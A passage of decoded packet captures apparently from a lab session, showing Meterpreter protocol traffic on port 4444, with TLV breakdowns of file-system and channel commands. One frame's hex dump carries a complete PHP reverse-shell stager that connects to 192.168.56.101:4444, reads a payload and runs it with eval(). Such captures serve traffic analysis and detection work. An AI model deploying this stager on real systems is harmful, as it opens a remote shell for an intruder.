    Data: 3635323734353335333432353331313131343430363436363632... [Value] 65274535342531114406466225610314
Meterpreter protocol, TLV details
    Data: 00000034800004c402000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b681010000000000000000002000000b6030000... [Value] ⍰��⍰⍰�⍰ʷzWt<�WʷzW��������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 b0 0d 09 40 00 80 06 69 9b c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 b6 ee 2e 7d 24 a2 50 18   .*.P.\.x...}$.P.
0030  08 04 9a 7a 00 00 00 00 00 88 00 00 00 01 00 00   ...z............
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 36 35 32   stat....)....652
0060  37 34 35 33 35 33 34 32 35 33 31 31 31 34 34 30   7453534253111440
0070  36 34 36 36 32 32 35 36 31 30 33 31 34 00 00 00   6466225610314...
0080  00 34 80 00 04 c4 02 00 00 00 00 00 b6 81 01 00   .4..............
0090  00 00 00 00 00 00 02 00 00 00 b6 03 00 00 ca ac   ................
00a0  7a 57 74 3c af 57 ca ac 7a 57 ff ff ff ff ff ff   zWt<.W..zW......
00b0  ff ff 00 00 00 0c 00 02 00 04 00 00 00 00         ..............
```

```
    103 2279.892011    192.168.1.42          192.168.1.41          MTRPROT  153    4444 → 50768 [PSH, ACK] Seq=4655 Ack=6688 Win=113
Len=99
Frame 103: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4655, Ack: 6688, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 0000002900010002363034393939373036373734383032... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3630343939393730363737343830323035313539393232... [Value] 60499970677480205159922236177191
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 0000000c00020019000100 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
    Data: 00010000 [Value] 65536
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8b 64 46 40 00 40 06 52 83 c0 a8 01 2a c0 a8   ..dF@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 24 a2 a3 78 b7 76 50 18   .).\.P.}$..x.vP.
0030  00 71 84 21 00 00 00 00 00 63 00 00 00 00 00 00   .q.!.....c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  36 30 34 39 39 39 37 30 36 37 37 34 38 30 32 30   6049997067748020
0070  35 31 35 39 39 32 32 32 33 36 31 37 37 31 39 31   5159922236177191
0080  00 00 00 00 0c 00 02 00 32 00 00 00 01 00 00 00   ........2.......
0090  0c 00 02 00 19 00 01 00 00                        .........
```

```
    104 2279.893749    192.168.1.41          192.168.1.42          MTRPROT  1099   50768 → 4444 [PSH, ACK] Seq=6688 Ack=4754
Win=2052 Len=1045
Frame 104: 1099 bytes on wire (8792 bits), 1099 bytes captured (8792 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6688, Ack: 4754, Len: 1045
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000415 [Command length]: 1045
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 0000002900010002363034393939373036373734383032303... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3630343939393730363737343830323035313539393232323... [Value] 60499970677480205159922236177191
Meterpreter protocol, TLV details
    Data: 000003be000400342f2a3c3f706870202f2a2a2f20657272... [TLV]
    Command: 0x000003be [Length]: 958
    Type: 0x00040034 [Type: Response]: TLV_TYPE_CHANNEL_DATA
    Data: 2f2a3c3f706870202f2a2a2f206572726f725f7265706f72... [Value] /*<?php /**/ error_reporting(0); $ip = '192.168.56.101'; $port
= 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'str
Meterpreter protocol, TLV details
    Data: 0000000c0002000400000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  04 3d 0d 0a 40 00 80 06 66 0d c0 a8 01 29 c0 a8   .=..@...f....)..
0020  01 2a c6 50 11 5c a3 78 b7 76 2e 7d 25 05 50 18   .*.P.\.x.v.}%.P.
0030  08 04 89 0d 00 00 00 00 04 15 00 00 00 01 00 00   ................
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  36 30 34 39 39 39 37 30 36 37 37 34 38 30 32 30   6049997067748020
0070  35 31 35 39 39 32 32 32 33 36 31 37 37 31 39 31   5159922236177191
0080  00 00 00 03 be 00 04 00 34 2f 2a 3c 3f 70 68 70   ........4/*<?php
0090  20 2f 2a 2a 2f 20 65 72 72 6f 72 5f 72 65 70 6f    /**/ error_repo
00a0  72 74 69 6e 67 28 30 29 3b 20 24 69 70 20 3d 20   rting(0); $ip = 
00b0  27 31 39 32 2e 31 36 38 2e 35 36 2e 31 30 31 27   '192.168.56.101'
00c0  3b 20 24 70 6f 72 74 20 3d 20 34 34 34 34 3b 20   ; $port = 4444; 
00d0  69 66 20 28 28 24 66 20 3d 20 27 73 74 72 65 61   if (($f = 'strea
00e0  6d 5f 73 6f 63 6b 65 74 5f 63 6c 69 65 6e 74 27   m_socket_client'
00f0  29 20 26 26 20 69 73 5f 63 61 6c 6c 61 62 6c 65   ) && is_callable
0100  28 24 66 29 29 20 7b 20 24 73 20 3d 20 24 66 28   ($f)) { $s = $f(
0110  22 74 63 70 3a 2f 2f 7b 24 69 70 7d 3a 7b 24 70   "tcp://{$ip}:{$p
0120  6f 72 74 7d 22 29 3b 20 24 73 5f 74 79 70 65 20   ort}"); $s_type 
0130  3d 20 27 73 74 72 65 61 6d 27 3b 20 7d 20 65 6c   = 'stream'; } el
0140  73 65 69 66 20 28 28 24 66 20 3d 20 27 66 73 6f   seif (($f = 'fso
0150  63 6b 6f 70 65 6e 27 29 20 26 26 20 69 73 5f 63   ckopen') && is_c
0160  61 6c 6c 61 62 6c 65 28 24 66 29 29 20 7b 20 24   allable($f)) { $
0170  73 20 3d 20 24 66 28 24 69 70 2c 20 24 70 6f 72   s = $f($ip, $por
0180  74 29 3b 20 24 73 5f 74 79 70 65 20 3d 20 27 73   t); $s_type = 's
0190  74 72 65 61 6d 27 3b 20 7d 20 65 6c 73 65 69 66   tream'; } elseif
01a0  20 28 28 24 66 20 3d 20 27 73 6f 63 6b 65 74 5f    (($f = 'socket_
01b0  63 72 65 61 74 65 27 29 20 26 26 20 69 73 5f 63   create') && is_c
01c0  61 6c 6c 61 62 6c 65 28 24 66 29 29 20 7b 20 24   allable($f)) { $
01d0  73 20 3d 20 24 66 28 41 46 5f 49 4e 45 54 2c 20   s = $f(AF_INET, 
01e0  53 4f 43 4b 5f 53 54 52 45 41 4d 2c 20 53 4f 4c   SOCK_STREAM, SOL
01f0  5f 54 43 50 29 3b 20 24 72 65 73 20 3d 20 40 73   _TCP); $res = @s
0200  6f 63 6b 65 74 5f 63 6f 6e 6e 65 63 74 28 24 73   ocket_connect($s
0210  2c 20 24 69 70 2c 20 24 70 6f 72 74 29 3b 20 69   , $ip, $port); i
0220  66 20 28 21 24 72 65 73 29 20 7b 20 64 69 65 28   f (!$res) { die(
0230  29 3b 20 7d 20 24 73 5f 74 79 70 65 20 3d 20 27   ); } $s_type = '
0240  73 6f 63 6b 65 74 27 3b 20 7d 20 65 6c 73 65 20   socket'; } else 
0250  7b 20 64 69 65 28 27 6e 6f 20 73 6f 63 6b 65 74   { die('no socket
0260  20 66 75 6e 63 73 27 29 3b 20 7d 20 69 66 20 28    funcs'); } if (
0270  21 24 73 29 20 7b 20 64 69 65 28 27 6e 6f 20 73   !$s) { die('no s
0280  6f 63 6b 65 74 27 29 3b 20 7d 20 73 77 69 74 63   ocket'); } switc
0290  68 20 28 24 73 5f 74 79 70 65 29 20 7b 20 63 61   h ($s_type) { ca
02a0  73 65 20 27 73 74 72 65 61 6d 27 3a 20 24 6c 65   se 'stream': $le
02b0  6e 20 3d 20 66 72 65 61 64 28 24 73 2c 20 34 29   n = fread($s, 4)
02c0  3b 20 62 72 65 61 6b 3b 20 63 61 73 65 20 27 73   ; break; case 's
02d0  6f 63 6b 65 74 27 3a 20 24 6c 65 6e 20 3d 20 73   ocket': $len = s
02e0  6f 63 6b 65 74 5f 72 65 61 64 28 24 73 2c 20 34   ocket_read($s, 4
02f0  29 3b 20 62 72 65 61 6b 3b 20 7d 20 69 66 20 28   ); break; } if (
0300  21 24 6c 65 6e 29 20 7b 20 64 69 65 28 29 3b 20   !$len) { die(); 
0310  7d 20 24 61 20 3d 20 75 6e 70 61 63 6b 28 22 4e   } $a = unpack("N
0320  6c 65 6e 22 2c 20 24 6c 65 6e 29 3b 20 24 6c 65   len", $len); $le
0330  6e 20 3d 20 24 61 5b 27 6c 65 6e 27 5d 3b 20 24   n = $a['len']; $
0340  62 20 3d 20 27 27 3b 20 77 68 69 6c 65 20 28 73   b = ''; while (s
0350  74 72 6c 65 6e 28 24 62 29 20 3c 20 24 6c 65 6e   trlen($b) < $len
```

```
0360  29 20 7b 20 73 77 69 74 63 68 20 28 24 73 5f 74   ) { switch ($s_t
0370  79 70 65 29 20 7b 20 63 61 73 65 20 27 73 74 72   ype) { case 'str
0380  65 61 6d 27 3a 20 24 62 20 2e 3d 20 66 72 65 61   eam': $b .= frea
0390  64 28 24 73 2c 20 24 6c 65 6e 2d 73 74 72 6c 65   d($s, $len-strle
03a0  6e 28 24 62 29 29 3b 20 62 72 65 61 6b 3b 20 63   n($b)); break; c
03b0  61 73 65 20 27 73 6f 63 6b 65 74 27 3a 20 24 62   ase 'socket': $b
03c0  20 2e 3d 20 73 6f 63 6b 65 74 5f 72 65 61 64 28    .= socket_read(
03d0  24 73 2c 20 24 6c 65 6e 2d 73 74 72 6c 65 6e 28   $s, $len-strlen(
03e0  24 62 29 29 3b 20 62 72 65 61 6b 3b 20 7d 20 7d   $b)); break; } }
03f0  20 24 47 4c 4f 42 41 4c 53 5b 27 6d 73 67 73 6f    $GLOBALS['msgso
0400  63 6b 27 5d 20 3d 20 24 73 3b 20 24 47 4c 4f 42   ck'] = $s; $GLOB
0410  41 4c 53 5b 27 6d 73 67 73 6f 63 6b 5f 74 79 70   ALS['msgsock_typ
0420  65 27 5d 20 3d 20 24 73 5f 74 79 70 65 3b 20 65   e'] = $s_type; e
0430  76 61 6c 28 24 62 29 3b 20 64 69 65 28 29 3b 00   val($b); die();.
0440  00 00 0c 00 02 00 04 00 00 00 00                  ...........
```

```
    105 2279.995900    192.168.1.42          192.168.1.41          MTRPROT  153    4444 → 50768 [PSH, ACK] Seq=4754 Ack=7733 Win=116
Len=99
Frame 105: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4754, Ack: 7733, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 0000002900010002303531393133363432303435303938... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303531393133363432303435303938353232373535393932... [Value] 05191364204500985227559204378676
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 0000000c00020019000100 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
    Data: 00010000 [Value] 65536
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8b 64 48 40 00 40 06 52 81 c0 a8 01 2a c0 a8   ..dH@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 25 05 a3 78 bb 8b 50 18   .).\.P.}%..x..P.
0030  00 74 84 21 00 00 00 00 00 63 00 00 00 00 00 00   .t.!.....c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  30 35 31 39 31 33 36 34 32 30 34 35 30 30 39 38   0519136420450098
0070  35 32 32 37 35 35 39 32 30 34 33 37 38 36 37 36   5227559204378676
0080  00 00 00 00 0c 00 02 00 32 00 00 00 01 00 00 00   ........2.......
0090  0c 00 02 00 19 00 01 00 00                        .........
```

```
    106 2279.997695    192.168.1.41          192.168.1.42          MTRPROT  141    50768 → 4444 [PSH, ACK] Seq=7733 Ack=4853
Win=2051 Len=87
Frame 106: 141 bytes on wire (1128 bits), 141 bytes captured (1128 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 7733, Ack: 4853, Len: 87
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000057 [Command length]: 87
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 0000002900010002303531393133363432303435303039383... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 30353139313336343230343530303938353232373535393932... [Value] 05191364204500985227559204378676
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7f 0d 0b 40 00 80 06 69 ca c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bb 8b 2e 7d 25 68 50 18   .*.P.\.x...}%hP.
0030  08 03 aa 03 00 00 00 00 00 57 00 00 00 01 00 00   .........W......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 72 65 61 64 00 00 00 00 29 00 01 00 02   el_read....)....
0060  30 35 31 39 31 33 36 34 32 30 34 35 30 30 39 38   0519136420450098
0070  35 32 32 37 35 35 39 32 30 34 33 37 38 36 37 36   5227559204378676
0080  00 00 00 00 0c 00 02 00 04 00 00 00 01            .............
```

```
    107 2280.099287    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=4853 Ack=7820 Win=116
Len=86
Frame 107: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4853, Ack: 7820, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353837363534373035343335343531363... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 35383736353437303534333534353136313834393434353539... [Value] 58765470543545161849445980040268
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 4a 40 00 40 06 52 8c c0 a8 01 2a c0 a8   .~dJ@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 25 68 a3 78 bb e2 50 18   .).\.P.}%h.x..P.
0030  00 74 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .t.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  38 37 36 35 34 37 30 35 34 33 35 34 35 31 36 31   8765470543545161
0070  38 34 39 34 34 35 39 38 30 30 34 30 32 36 38 00   849445980040268.
0080  00 00 00 0c 00 02 00 32 00 00 00 01               .......2....
```

```
    108 2280.100613    192.168.1.41          192.168.1.42          MTRPROT  149    50768 → 4444 [PSH, ACK] Seq=7820 Ack=4939
Win=2051 Len=95
Frame 108: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 7820, Ack: 4939, Len: 95
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005f [Command length]: 95
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023538373635343730353433353435313136... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 353837363534373035343335343531363138343934343539... [Value] 58765470543545161849445980040268
Meterpreter protocol, TLV details
    Data: 000000090008000c [TLV]
    Command: 0x00000009 [Length]: 9
    Type: 0x0008000c [Type: Response]: TLV_TYPE_BOOL
    Data: 01 [Value] ⍰
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 87 0d 0c 40 00 80 06 69 c1 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bb e2 2e 7d 25 be 50 18   .*.P.\.x...}%.P.
0030  08 03 c3 66 00 00 00 00 00 5f 00 00 00 01 00 00   ...f....._......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  38 37 36 35 34 37 30 35 34 33 35 34 35 31 36 31   8765470543545161
0070  38 34 39 34 34 35 39 38 30 30 34 30 32 36 38 00   849445980040268.
0080  00 00 00 09 00 08 00 0c 01 00 00 00 0c 00 02 00   ................
0090  04 00 00 00 00                                    .....
```

```
    109 2280.211920    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=4939 Ack=7915 Win=116
Len=88
Frame 109: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4939, Ack: 7915, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 00000029000100023731333635383033313832303431363631... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 37313336353830333138323034313631343235363938363630... [Value] 71365803182041614256986068673722
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 4c 40 00 40 06 52 88 c0 a8 01 2a c0 a8   ..dL@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 25 be a3 78 bc 41 50 18   .).\.P.}%..x.AP.
0030  00 74 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .t.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 37 31 33 36 35 38 30 33 31 38 32 30 34 31 36   .713658031820416
0070  31 34 32 35 36 39 38 36 30 36 38 36 37 33 37 32   1425698606867372
0080  32 00 00 00 00 0c 00 02 00 32 00 00 00 01         2........2....
```

```
    110 2280.212438    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=7915 Ack=5027
Win=2051 Len=88
Frame 110: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 7915, Ack: 5027, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002373133363538303331383230343136313631... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3731333635383033313832303431363134323536393836303630... [Value] 71365803182041614256986068673722
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 0d 40 00 80 06 69 c7 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bc 41 2e 7d 26 16 50 18   .*.P.\.x.A.}&.P.
0030  08 03 73 56 00 00 00 00 00 58 00 00 00 01 00 00   ..sV.....X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 37 31 33 36 35 38 30 33 31 38 32 30 34 31 36   .713658031820416
0070  31 34 32 35 36 39 38 36 30 36 38 36 37 33 37 32   1425698606867372
0080  32 00 00 00 00 0c 00 02 00 04 00 00 00 00         2............
```

```
    111 2288.531769    192.168.1.42          192.168.1.41          MTRPROT  207    4444 → 50768 [PSH, ACK] Seq=5027 Ack=8003 Win=116
Len=153
Frame 111: 207 bytes on wire (1656 bits), 207 bytes captured (1656 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 5027, Ack: 8003, Len: 153
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000099 [Command length]: 153
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 000000290001000236333431373532393937333336383433... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 363334313735323939373333363834333433323334363330... [Value] 63417529973368434323463054621262
Meterpreter protocol, TLV details
    Data: 00000017000100337374646170695f66735f66696c65 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
    Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
    Data: 0000000c00020036000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
    Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
